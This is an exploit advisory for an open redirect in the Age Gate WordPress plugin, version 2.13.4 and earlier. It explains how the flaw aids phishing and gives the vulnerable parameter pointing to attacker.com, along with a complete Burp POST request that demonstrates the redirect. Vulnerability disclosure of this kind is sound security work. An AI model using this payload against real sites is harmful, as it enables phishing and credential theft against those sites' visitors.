WordPress Age Gate 2.13.4 Open Redirect

Risk: Low
Local: No
Remote: Yes
CWE: CWE-601

# Exploit Title: URL Redirection to Untrusted Site ('Open Redirect') Age Gate Wordpress Plugin <= 2.13.4 # Date: 11/27/2020 # Exploit Author: Ilca Lucian Florin # Vendor Homepage: https://agegate.io/ # Software Link: https://wordpress.org/plugins/age-gate/ # Version: <= 2.13.4 # Tested on: Latest Version of Desktop Web Browsers: Chrome, Firefox, Microsoft Edge # CVE: Waiting... A web application accepts a user-controlled input that specifies a link to an external site, and uses that link in a Redirect. This simplifies phishing attacks. An http parameter may contain a URL value and could cause the web application to redirect the request to the specified URL. By modifying the URL value to a malicious site, an attacker may successfully launch a phishing scam and steal user credentials. Because the server name in the modified link is identical to the original site, phishing attempts have a more trustworthy appearance. The impacts can be many, and vary from the theft of information and credentials to the redirection to malicious websites containing attacker-controlled content, which in some cases even cause XSS attacks. So even though an open redirection might sound harmless at first, the impacts of it can be severe should it be exploitable. An Open Redirection is when a web application or server uses an unvalidated user-submitted link to redirect the user to a given website or page. Even though it seems like a harmless action to let a user decide to which page he wants to be redirected, such technique if exploited can have a serious impact on the application security, especially when combined with other vulnerabilities and tricks. Vulnerable parameter is: _wp_http_referer=http://attacker.com # Example of burp request # POST /wp-admin/admin-post.php HTTP/1.1 Host: website.com User-Agent: Mozilla/5.0 (X11; Linux x86_64; rv:78.0) Gecko/20100101 Firefox/78.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: en-US,en;q=0.8,de-DE;q=0.5,de;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 189 Origin: https://website.com Connection: close Referer: https://website.com/ Cookie: wordpress_sec_5fabc=editor%7C1606490639%b%abc; __cfduid=def4624292458dcfae5008c89bb76b3ed1606317827; ftc_post_view_4716=1; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_123=editor%%%abc; wp-wpml_current_admin_language_d41d8cd98f00b204e9800998ecf8427e=mk; wfwaf-authcookie-abc=12%7Ceditor%abc; tk_ai=woo%; wp-settings-time-12=1606317841; wp-wpml_current_language=en; ftc_post_view_934=1; _ga=GA1.2.; _gid=GA1.2.; _gat=1 Upgrade-Insecure-Requests: 1 age_gate%5Bd%5D=10&age_gate%5Bm%5D=10&age_gate%5By%5D=1990&age_gate%5Bremember%5D=1&age_gate%5Bage%5D=TVRnPQ%3D%3D&action=age_gate_submit&age_gate%5Bnonce%5D=48f2b89fed&_wp_http_referer= https://google.ro Demo: 1. https://ibb.co/1K9MhhY 2. https://ibb.co/xSYQjZm 3. https://ibb.co/TMbS9yL C.V.S.S Score: CVSS:3.0/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:L / 7.1 (High) There are over 20.000 wordpress websites using this plugin at this moment.

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